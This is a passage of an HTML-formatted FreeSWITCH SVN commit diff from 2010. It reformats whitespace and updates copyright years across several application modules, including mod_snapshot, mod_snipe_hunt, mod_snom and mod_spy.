</span><span class="cx"> static switch_xml_config_int_options_t config_opt_integer = { SWITCH_TRUE, 0, SWITCH_TRUE, 10 };
</span><del>-static switch_xml_config_enum_item_t config_opt_codec_negotiation_enum[] = { 
-        { &quot;greedy&quot;, CODEC_NEGOTIATION_GREEDY },
-        { &quot;generous&quot;, CODEC_NEGOTIATION_GENEROUS },
-        { &quot;evil&quot;, CODEC_NEGOTIATION_EVIL },
-        { NULL, 0 } 
</del><ins>+static switch_xml_config_enum_item_t config_opt_codec_negotiation_enum[] = {
+        {&quot;greedy&quot;, CODEC_NEGOTIATION_GREEDY},
+        {&quot;generous&quot;, CODEC_NEGOTIATION_GENEROUS},
+        {&quot;evil&quot;, CODEC_NEGOTIATION_EVIL},
+        {NULL, 0}
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> static switch_xml_config_item_t instructions[] = {
</span><span class="cx">         /* parameter name        type                 reloadable   pointer                         default value     options structure */
</span><del>-        SWITCH_CONFIG_ITEM(&quot;codec-negotiation-str&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &amp;globals.codec_negotiation_str, &quot;greedy&quot;, &amp;config_opt_codec_negotiation, \
-                &quot;greedy|generous|evil&quot;, &quot;Specifies the codec negotiation scheme to be used.&quot;),
-        SWITCH_CONFIG_ITEM(&quot;codec-negotiation&quot;, SWITCH_CONFIG_ENUM, CONFIG_RELOADABLE, &amp;globals.codec_negotiation,  (void*)CODEC_NEGOTIATION_GREEDY, &amp;config_opt_codec_negotiation_enum,
-                &quot;greedy|generous|evil&quot;, &quot;Specifies the codec negotiation scheme to be used.&quot;),
-        SWITCH_CONFIG_ITEM_CALLBACK(&quot;sip-trace&quot;, SWITCH_CONFIG_BOOL, CONFIG_RELOADABLE, &amp;globals.sip_trace,  (void*)SWITCH_FALSE,  (switch_xml_config_callback_t)config_callback_siptrace, NULL,
-                &quot;yes|no&quot;, &quot;If enabled, print out sip messages on the console.&quot;),
-        SWITCH_CONFIG_ITEM(&quot;integer&quot;, SWITCH_CONFIG_INT, CONFIG_RELOADABLE, &amp;globals.integer, (void*)100, &amp;config_opt_integer,
-                NULL, NULL),
</del><ins>+        SWITCH_CONFIG_ITEM(&quot;codec-negotiation-str&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &amp;globals.codec_negotiation_str, &quot;greedy&quot;,
+                                           &amp;config_opt_codec_negotiation,
+                                           &quot;greedy|generous|evil&quot;, &quot;Specifies the codec negotiation scheme to be used.&quot;),
+        SWITCH_CONFIG_ITEM(&quot;codec-negotiation&quot;, SWITCH_CONFIG_ENUM, CONFIG_RELOADABLE, &amp;globals.codec_negotiation, (void *) CODEC_NEGOTIATION_GREEDY,
+                                           &amp;config_opt_codec_negotiation_enum,
+                                           &quot;greedy|generous|evil&quot;, &quot;Specifies the codec negotiation scheme to be used.&quot;),
+        SWITCH_CONFIG_ITEM_CALLBACK(&quot;sip-trace&quot;, SWITCH_CONFIG_BOOL, CONFIG_RELOADABLE, &amp;globals.sip_trace, (void *) SWITCH_FALSE,
+                                                                (switch_xml_config_callback_t) config_callback_siptrace, NULL,
+                                                                &quot;yes|no&quot;, &quot;If enabled, print out sip messages on the console.&quot;),
+        SWITCH_CONFIG_ITEM(&quot;integer&quot;, SWITCH_CONFIG_INT, CONFIG_RELOADABLE, &amp;globals.integer, (void *) 100, &amp;config_opt_integer,
+                                           NULL, NULL),
</ins><span class="cx">         SWITCH_CONFIG_ITEM_END()
</span><span class="cx"> };
</span><span class="cx"> 
</span><span class="lines">@@ -102,14 +106,14 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;Could not open skel.conf\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_STANDARD_API(skel_function)
</span><span class="cx"> {
</span><span class="cx">         do_config(SWITCH_TRUE);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -121,9 +125,9 @@
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx"> 
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;Hello World!\n&quot;);
</span><del>-        
</del><ins>+
</ins><span class="cx">         do_config(SWITCH_FALSE);
</span><del>-        
</del><ins>+
</ins><span class="cx">         SWITCH_ADD_API(api_interface, &quot;skel&quot;, &quot;Skel API&quot;, skel_function, &quot;syntax&quot;);
</span><span class="cx"> 
</span><span class="cx">         /* indicate that the module should continue to be loaded */
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_snapshotmod_snapshotc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_snapshot/mod_snapshot.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_snapshot/mod_snapshot.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_snapshot/mod_snapshot.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -65,17 +65,18 @@
</span><span class="cx"> 
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_ABC_TYPE_READ:
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (cb-&gt;buffer) {
</span><span class="cx">                         uint8_t data[SWITCH_RECOMMENDED_BUFFER_SIZE];
</span><span class="cx">                         switch_frame_t frame = { 0 };
</span><span class="cx"> 
</span><span class="cx">                         frame.data = data;
</span><span class="cx">                         frame.buflen = SWITCH_RECOMMENDED_BUFFER_SIZE;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_mutex_trylock(cb-&gt;mutex) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 while (switch_core_media_bug_read(bug, &amp;frame, SWITCH_TRUE) == SWITCH_STATUS_SUCCESS &amp;&amp; !switch_test_flag((&amp;frame), SFF_CNG)) {
</span><del>-                                        if (frame.datalen) switch_buffer_slide_write(cb-&gt;buffer, frame.data, frame.datalen);
</del><ins>+                                        if (frame.datalen)
+                                                switch_buffer_slide_write(cb-&gt;buffer, frame.data, frame.datalen);
</ins><span class="cx">                                 }
</span><span class="cx">                                 switch_mutex_unlock(cb-&gt;mutex);
</span><span class="cx">                         }
</span><span class="lines">@@ -95,7 +96,7 @@
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_media_bug_t *bug;
</span><span class="cx">         switch_status_t status;
</span><del>-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         struct cap_cb *cb;
</span><span class="cx">         switch_size_t bytes;
</span><span class="cx">         switch_bind_flag_t bind_flags = 0;
</span><span class="lines">@@ -109,16 +110,16 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Must be at least 5 seconds!\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
-    switch_core_session_get_read_impl(session, &amp;read_impl);
</del><span class="cx"> 
</span><ins>+        switch_core_session_get_read_impl(session, &amp;read_impl);
+
</ins><span class="cx">         if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         cb = switch_core_session_alloc(session, sizeof(*cb));
</span><span class="cx">         cb-&gt;base = switch_core_session_strdup(session, base);
</span><del>-        
</del><ins>+
</ins><span class="cx">         bytes = read_impl.samples_per_second * seconds * 2;
</span><span class="cx"> 
</span><span class="cx">         switch_buffer_create_dynamic(&amp;cb-&gt;buffer, bytes, bytes, bytes);
</span><span class="lines">@@ -132,7 +133,7 @@
</span><span class="cx">         switch_ivr_bind_dtmf_meta_session(session, 7, bind_flags, &quot;snapshot::snap&quot;);
</span><span class="cx"> 
</span><span class="cx">         switch_channel_set_private(channel, &quot;snapshot&quot;, bug);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -141,11 +142,11 @@
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_media_bug_t *bug = switch_channel_get_private(channel, &quot;snapshot&quot;);
</span><span class="cx">         char *file;
</span><del>-        switch_file_handle_t fh = {0};
-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_file_handle_t fh = { 0 };
+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         switch_size_t bytes_read;
</span><del>-        int16_t pdata[4096] = {0};
-                
</del><ins>+        int16_t pdata[4096] = { 0 };
+
</ins><span class="cx">         if (bug) {
</span><span class="cx">                 switch_time_exp_t tm;
</span><span class="cx">                 switch_size_t retsize;
</span><span class="lines">@@ -158,19 +159,17 @@
</span><span class="cx"> 
</span><span class="cx">                 switch_time_exp_lt(&amp;tm, switch_time_make(switch_epoch_time_now(NULL), 0));
</span><span class="cx">                 switch_strftime(date, &amp;retsize, sizeof(date), &quot;%Y_%m_%d_%H_%M_%S&quot;, &amp;tm);
</span><del>-                        
-                file = switch_core_session_sprintf(session, &quot;%s%s%s_%s.wav&quot;, SWITCH_GLOBAL_dirs.sounds_dir, 
-                                                                                   SWITCH_PATH_SEPARATOR, cb-&gt;base, date);
</del><span class="cx"> 
</span><ins>+                file = switch_core_session_sprintf(session, &quot;%s%s%s_%s.wav&quot;, SWITCH_GLOBAL_dirs.sounds_dir, SWITCH_PATH_SEPARATOR, cb-&gt;base, date);
+
</ins><span class="cx">                 switch_core_session_get_read_impl(session, &amp;read_impl);
</span><span class="cx">                 fh.channels = 0;
</span><span class="cx">                 fh.native_rate = read_impl.actual_samples_per_second;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 if (switch_core_file_open(&amp;fh,
</span><span class="cx">                                                                   file,
</span><span class="cx">                                                                   0,
</span><del>-                                                                  read_impl.actual_samples_per_second,
-                                                                  SWITCH_FILE_FLAG_WRITE | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                                  read_impl.actual_samples_per_second, SWITCH_FILE_FLAG_WRITE | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Error opening %s\n&quot;, file);
</span><span class="cx">                         switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="cx">                         switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
</span><span class="lines">@@ -180,7 +179,7 @@
</span><span class="cx">                 switch_mutex_lock(cb-&gt;mutex);
</span><span class="cx">                 while ((bytes_read = switch_buffer_read(cb-&gt;buffer, pdata, sizeof(pdata)))) {
</span><span class="cx">                         switch_size_t samples = bytes_read / 2;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                         if (switch_core_file_write(&amp;fh, pdata, &amp;samples) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="lines">@@ -205,8 +204,8 @@
</span><span class="cx"> 
</span><span class="cx">         if (!zstr(data) &amp;&amp; (lbuf = switch_core_session_strdup(session, data))) {
</span><span class="cx">                 argc = switch_separate_string(lbuf, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
</span><del>-        } 
-        
</del><ins>+        }
+
</ins><span class="cx">         if (argc &lt; 1) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Usage: %s\n&quot;, SNAP_SYNTAX);
</span><span class="cx">                 return;
</span><span class="lines">@@ -240,7 +239,7 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 start_capture(session, seconds, flags, base);
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (!strcasecmp(argv[0], &quot;snap&quot;)) {
</span><span class="lines">@@ -276,7 +275,7 @@
</span><span class="cx">                                 const char *base = argv[3];
</span><span class="cx">                                 int seconds = 5;
</span><span class="cx">                                 switch_media_bug_flag_t flags = SMBF_READ_STREAM | SMBF_WRITE_STREAM | SMBF_READ_PING;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (sec) {
</span><span class="cx">                                         int tmp = atoi(sec);
</span><span class="cx">                                         if (tmp &gt; 5) {
</span><span class="lines">@@ -297,7 +296,7 @@
</span><span class="cx">                                 if (!base) {
</span><span class="cx">                                         base = &quot;mod_snapshot&quot;;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 status = start_capture(lsession, seconds, flags, base);
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="lines">@@ -311,7 +310,7 @@
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;-ERR Operation Failed\n&quot;);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         switch_safe_free(mycmd);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -327,7 +326,7 @@
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx"> 
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;Hello World!\n&quot;);
</span><del>-        
</del><ins>+
</ins><span class="cx">         SWITCH_ADD_API(api_interface, &quot;uuid_snapshot&quot;, &quot;Snapshot API&quot;, snapshot_function, SNAP_API_SYNTAX);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;snapshot&quot;, &quot;&quot;, &quot;&quot;, snapshot_app_function, SNAP_SYNTAX, SAF_SUPPORT_NOMEDIA);
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_snipe_huntmod_snipe_huntc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_snipe_hunt/mod_snipe_hunt.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_snipe_hunt/mod_snipe_hunt.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_snipe_hunt/mod_snipe_hunt.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -55,42 +55,46 @@
</span><span class="cx">         int integer;
</span><span class="cx"> } globals;
</span><span class="cx"> 
</span><del>-static switch_status_t config_callback_siptrace(switch_xml_config_item_t *data, switch_config_callback_type_t callback_type, switch_bool_t changed) 
</del><ins>+static switch_status_t config_callback_siptrace(switch_xml_config_item_t *data, switch_config_callback_type_t callback_type, switch_bool_t changed)
</ins><span class="cx"> {
</span><del>-        switch_bool_t value = *(switch_bool_t*)data-&gt;ptr;
</del><ins>+        switch_bool_t value = *(switch_bool_t *) data-&gt;ptr;
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;In siptrace callback: value %s changed %s\n&quot;,
</span><del>-                value ? &quot;true&quot; : &quot;false&quot;, changed ? &quot;true&quot; : &quot;false&quot;);
-        
-        
</del><ins>+                                          value ? &quot;true&quot; : &quot;false&quot;, changed ? &quot;true&quot; : &quot;false&quot;);
+
+
</ins><span class="cx">         /*
</span><del>-        if ((callback_type == CONFIG_LOG || callback_type == CONFIG_RELOAD) &amp;&amp; changed) {
-                nua_set_params(((sofia_profile_t*)data-&gt;functiondata)-&gt;nua, TPTAG_LOG(value), TAG_END());
-        } 
-        */
-        
</del><ins>+           if ((callback_type == CONFIG_LOG || callback_type == CONFIG_RELOAD) &amp;&amp; changed) {
+           nua_set_params(((sofia_profile_t*)data-&gt;functiondata)-&gt;nua, TPTAG_LOG(value), TAG_END());
+           } 
+         */
+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_xml_config_string_options_t config_opt_codec_negotiation = { NULL, 0, &quot;greedy|generous|evil&quot; };
</span><ins>+
</ins><span class="cx"> /* enforce_min, min, enforce_max, max */
</span><span class="cx"> static switch_xml_config_int_options_t config_opt_integer = { SWITCH_TRUE, 0, SWITCH_TRUE, 10 };
</span><del>-static switch_xml_config_enum_item_t config_opt_codec_negotiation_enum[] = { 
-        { &quot;greedy&quot;, CODEC_NEGOTIATION_GREEDY },
-        { &quot;generous&quot;, CODEC_NEGOTIATION_GENEROUS },
-        { &quot;evil&quot;, CODEC_NEGOTIATION_EVIL },
-        { NULL, 0 } 
</del><ins>+static switch_xml_config_enum_item_t config_opt_codec_negotiation_enum[] = {
+        {&quot;greedy&quot;, CODEC_NEGOTIATION_GREEDY},
+        {&quot;generous&quot;, CODEC_NEGOTIATION_GENEROUS},
+        {&quot;evil&quot;, CODEC_NEGOTIATION_EVIL},
+        {NULL, 0}
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> static switch_xml_config_item_t instructions[] = {
</span><span class="cx">         /* parameter name        type                 reloadable   pointer                         default value     options structure */
</span><del>-        SWITCH_CONFIG_ITEM(&quot;codec-negotiation-str&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &amp;globals.codec_negotiation_str, &quot;greedy&quot;, &amp;config_opt_codec_negotiation, \
-                &quot;greedy|generous|evil&quot;, &quot;Specifies the codec negotiation scheme to be used.&quot;),
-        SWITCH_CONFIG_ITEM(&quot;codec-negotiation&quot;, SWITCH_CONFIG_ENUM, CONFIG_RELOADABLE, &amp;globals.codec_negotiation,  (void*)CODEC_NEGOTIATION_GREEDY, &amp;config_opt_codec_negotiation_enum,
-                &quot;greedy|generous|evil&quot;, &quot;Specifies the codec negotiation scheme to be used.&quot;),
-        SWITCH_CONFIG_ITEM_CALLBACK(&quot;sip-trace&quot;, SWITCH_CONFIG_BOOL, CONFIG_RELOADABLE, &amp;globals.sip_trace,  (void*)SWITCH_FALSE,  (switch_xml_config_callback_t)config_callback_siptrace, NULL,
-                &quot;yes|no&quot;, &quot;If enabled, print out sip messages on the console.&quot;),
-        SWITCH_CONFIG_ITEM(&quot;integer&quot;, SWITCH_CONFIG_INT, CONFIG_RELOADABLE, &amp;globals.integer, (void*)100, &amp;config_opt_integer,
-                NULL, NULL),
</del><ins>+        SWITCH_CONFIG_ITEM(&quot;codec-negotiation-str&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &amp;globals.codec_negotiation_str, &quot;greedy&quot;,
+                                           &amp;config_opt_codec_negotiation,
+                                           &quot;greedy|generous|evil&quot;, &quot;Specifies the codec negotiation scheme to be used.&quot;),
+        SWITCH_CONFIG_ITEM(&quot;codec-negotiation&quot;, SWITCH_CONFIG_ENUM, CONFIG_RELOADABLE, &amp;globals.codec_negotiation, (void *) CODEC_NEGOTIATION_GREEDY,
+                                           &amp;config_opt_codec_negotiation_enum,
+                                           &quot;greedy|generous|evil&quot;, &quot;Specifies the codec negotiation scheme to be used.&quot;),
+        SWITCH_CONFIG_ITEM_CALLBACK(&quot;sip-trace&quot;, SWITCH_CONFIG_BOOL, CONFIG_RELOADABLE, &amp;globals.sip_trace, (void *) SWITCH_FALSE,
+                                                                (switch_xml_config_callback_t) config_callback_siptrace, NULL,
+                                                                &quot;yes|no&quot;, &quot;If enabled, print out sip messages on the console.&quot;),
+        SWITCH_CONFIG_ITEM(&quot;integer&quot;, SWITCH_CONFIG_INT, CONFIG_RELOADABLE, &amp;globals.integer, (void *) 100, &amp;config_opt_integer,
+                                           NULL, NULL),
</ins><span class="cx">         SWITCH_CONFIG_ITEM_END()
</span><span class="cx"> };
</span><span class="cx"> 
</span><span class="lines">@@ -102,14 +106,14 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;Could not open snipe_hunt.conf\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_STANDARD_API(snipe_hunt_function)
</span><span class="cx"> {
</span><span class="cx">         do_config(SWITCH_TRUE);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -121,9 +125,9 @@
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx"> 
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;Hello World!\n&quot;);
</span><del>-        
</del><ins>+
</ins><span class="cx">         do_config(SWITCH_FALSE);
</span><del>-        
</del><ins>+
</ins><span class="cx">         SWITCH_ADD_API(api_interface, &quot;snipe_hunt&quot;, &quot;Snipe_Hunt API&quot;, snipe_hunt_function, &quot;syntax&quot;);
</span><span class="cx"> 
</span><span class="cx">         /* indicate that the module should continue to be loaded */
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_snommod_snomc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_snom/mod_snom.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_snom/mod_snom.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_snom/mod_snom.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -33,14 +33,9 @@
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_snom_load);
</span><span class="cx"> SWITCH_MODULE_DEFINITION(mod_snom, mod_snom_load, NULL, NULL);
</span><span class="cx"> 
</span><del>-static switch_bool_t snom_bind_key(const char *key, 
-                                                                   const char *light, 
-                                                                   const char *label,
-                                                                   const char *user, 
-                                                                   const char *host, 
-                                                                   const char *profile, 
-                                                                   const char *action_name, 
-                                                                   const char *action)
</del><ins>+static switch_bool_t snom_bind_key(const char *key,
+                                                                   const char *light,
+                                                                   const char *label, const char *user, const char *host, const char *profile, const char *action_name, const char *action)
</ins><span class="cx"> {
</span><span class="cx">         switch_event_t *event;
</span><span class="cx"> 
</span><span class="lines">@@ -61,7 +56,7 @@
</span><span class="cx">                 }
</span><span class="cx">                 return SWITCH_TRUE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_FALSE;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -92,17 +87,17 @@
</span><span class="cx">         if (argc &lt; 6) {
</span><span class="cx">                 goto err;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (snom_bind_key(argv[0], argv[1], argv[2], argv[3], argv[4], argv[5], argv[6], argv[7])) {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;+OK %s\n&quot;, cmd);
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
- err:
</del><span class="cx"> 
</span><ins>+  err:
+
</ins><span class="cx">         stream-&gt;write_function(stream, &quot;-Error %s\n&quot;, KEY_BIND_SYNTAX);
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         free(mydata);
</span><span class="cx"> 
</span><span class="lines">@@ -122,7 +117,7 @@
</span><span class="cx">         SWITCH_ADD_API(commands_api_interface, &quot;snom_bind_key&quot;, &quot;Bind a key&quot;, snom_bind_key_api_function, KEY_BIND_SYNTAX);
</span><span class="cx">         SWITCH_ADD_API(commands_api_interface, &quot;snom_url&quot;, &quot;url&quot;, snom_url_api_function, URL_SYNTAX);
</span><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* indicate that the module should continue to be loaded */
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_soundtouchmod_soundtouchcpp"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_soundtouch/mod_soundtouch.cpp (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_soundtouch/mod_soundtouch.cpp        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_soundtouch/mod_soundtouch.cpp        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_spymod_spyc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_spy/mod_spy.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_spy/mod_spy.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_spy/mod_spy.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -39,10 +39,10 @@
</span><span class="cx"> SWITCH_MODULE_DEFINITION(mod_spy, mod_spy_load, mod_spy_shutdown, NULL);
</span><span class="cx"> 
</span><span class="cx"> struct mod_spy_globals {
</span><del>-        switch_memory_pool_t* pool;
-        switch_event_node_t* node;
-        switch_hash_t* spy_hash;
-        switch_thread_rwlock_t* spy_hash_lock;
</del><ins>+        switch_memory_pool_t *pool;
+        switch_event_node_t *node;
+        switch_hash_t *spy_hash;
+        switch_thread_rwlock_t *spy_hash_lock;
</ins><span class="cx">         uint32_t spy_count;
</span><span class="cx"> } globals;
</span><span class="cx"> 
</span><span class="lines">@@ -50,14 +50,14 @@
</span><span class="cx"> {
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx"> 
</span><del>-        char* data = switch_channel_get_private(channel,&quot;_userspy_&quot;);
</del><ins>+        char *data = switch_channel_get_private(channel, &quot;_userspy_&quot;);
</ins><span class="cx">         switch_thread_rwlock_wrlock(globals.spy_hash_lock);
</span><del>-        
-        if ((switch_core_hash_delete(globals.spy_hash,data) != SWITCH_STATUS_SUCCESS)) {
-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR,&quot;No such key in userspy: %s \n&quot;,data);
</del><span class="cx"> 
</span><del>-        } else {        
-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,&quot;Userspy deactivated on %s\n&quot;,data);
</del><ins>+        if ((switch_core_hash_delete(globals.spy_hash, data) != SWITCH_STATUS_SUCCESS)) {
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;No such key in userspy: %s \n&quot;, data);
+
+        } else {
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Userspy deactivated on %s\n&quot;, data);
</ins><span class="cx">                 globals.spy_count--;
</span><span class="cx">         }
</span><span class="cx"> 
